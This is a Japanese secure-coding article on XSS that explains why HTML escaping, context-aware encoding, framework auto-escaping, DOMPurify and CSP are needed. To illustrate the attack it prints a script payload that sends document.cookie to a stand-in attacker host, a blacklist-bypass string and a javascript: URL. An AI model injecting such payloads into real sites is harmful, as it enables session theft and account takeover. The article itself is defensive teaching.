HTML特殊文字とXSS対策の関係|なぜエスケープが必須なのか
XSSとは何か
XSS(Cross-Site Scripting) は、攻撃者がWebページに任意のJavaScriptを埋め込んで、訪問者のブラウザ上で実行させる攻撃です。OWASP Top 10にも常連の脆弱性。
被害例:
- セッションCookieの窃取 → アカウント乗っ取り
- 偽のログイン画面の表示 → パスワード窃取
- マルウェア配布
- 仮想通貨マイニングの強制実行
防御の基本中の基本がHTMLエスケープです。
XSSが起きる単純な例
<p>こんにちは、<%= userName %>さん</p>
ユーザがプロフィール名に以下を入力:
<script>fetch("https://evil.example.com?c=" + document.cookie)</script>
サーバがエスケープせずに埋め込むと、出力は:
<p>こんにちは、<script>fetch("https://evil.example.com?c=" + document.cookie)</script>さん</p>
このページを開いた全員のブラウザでスクリプトが実行され、Cookieが攻撃者サーバに送信されます。
エスケープでどう防ぐか
<, >, &, ", ' の5文字をHTMLエンティティに変換すれば、ブラウザは「文字列として表示」するだけでスクリプトとして実行しません:
<script>...</script>
↓ エスケープ
<script>...</script>
ブラウザの表示は <script>...</script> という文字列になり、実行されません。
HTML特殊文字エスケープツール でこの変換を試せます。
文脈ごとにエスケープが違う
「HTMLエスケープすればOK」と思いきや、埋め込む場所によってエスケープルールが違います。これがXSS対策の難しさ。
1. HTMLテキストノード
<p>USERINPUT</p>
< > & " ' をエスケープ → 安全。
2. HTML属性値(クォート付き)
<input value="USERINPUT">
< > & " をエスケープ → 安全。
注意: クォートが ' なら < > & ' をエスケープ。
3. HTML属性値(クォートなし)
<input value=USERINPUT>
スペース、< > & " ' = / ` (バッククォート) などすべてエスケープが必要。そもそも属性は必ずクォートで囲むのが安全。
4. JavaScript文字列リテラル
<script>const name = "USERINPUT";</script>
HTMLエスケープではなくJavaScriptエスケープが必要:
"</script>" // </script> をエスケープ
</script> 文字列が含まれると、その時点でscriptタグが終了して以降がHTMLとして解釈されます。
5. URL属性
<a href="USERINPUT">
javascript: スキームを除外する必要があります:
javascript:alert(1) ← これがhref に入るとクリックで実行
URLとしての検証+エスケープが必要。
6. CSS
<style>.x { color: USERINPUT; }</style>
CSSにもインジェクションのリスクあり。expression()、url('javascript:...')、@import など。
モダンフレームワークでの自動エスケープ
| フレームワーク | デフォルト | エスケープ無効化 |
|---|---|---|
| React | 自動エスケープ | dangerouslySetInnerHTML |
| Vue | 自動エスケープ | v-html |
| Angular | 自動エスケープ | [innerHTML](DomSanitizer経由) |
| Svelte | 自動エスケープ | {@html ...} |
| Next.js / Nuxt | 上記に従う | 同上 |
| Pug、EJS、Handlebars | 自動エスケープ | !=、{{{ |
自動エスケープが効いているテンプレートエンジンを使うだけで、テキストノードのXSSは防げます。
ただし:
- HTMLを動的に挿入する用途では「自分でサニタイズ」が必要
- URL属性、JSコード生成、CSS生成は別途対応
XSSフィルタリングではなくサニタイズを
「<script> 文字列を削除する」ようなブラックリスト方式はほぼ全て突破されます:
<scr<script>ipt>alert(1)</script>
↓ <script>を1回削除
<script>alert(1)</script>
正攻法は:
- エスケープ: 出力時に文脈に応じたエスケープ
- サニタイズ: HTML入力を許可するなら DOMPurify などのライブラリでホワイトリスト方式
HTML特殊文字エスケープツール は1の用途。リッチテキストエディタの出力を扱うなら、別途 DOMPurify のようなライブラリが必要です。
CSP(Content Security Policy)併用が定石
エスケープに加えて、CSPヘッダでそもそもインラインスクリプトを禁止するのが現代の常識:
Content-Security-Policy: script-src 'self'; object-src 'none';
これでXSSが混入しても、攻撃者のスクリプトはブラウザで拒否されます。多層防御の考え方。
まとめ:XSS対策チェックリスト
- 出力時に文脈に応じたエスケープを行う
- テンプレートエンジンの自動エスケープを有効にする
-
dangerouslySetInnerHTMLは最小限に - URL属性は
javascript:スキームをブロック - HTMLを許可するならDOMPurifyでサニタイズ
- CSPヘッダを設定
- httpOnly Cookie で document.cookie を守る
- 入力検証は補助、メイン防御は出力エスケープ
関連記事
XSSは「動的な値をHTMLに埋めるとき」に潜む脆弱性。エスケープは銃の安全装置のようなもの。常に有効化されている状態を保ちましょう。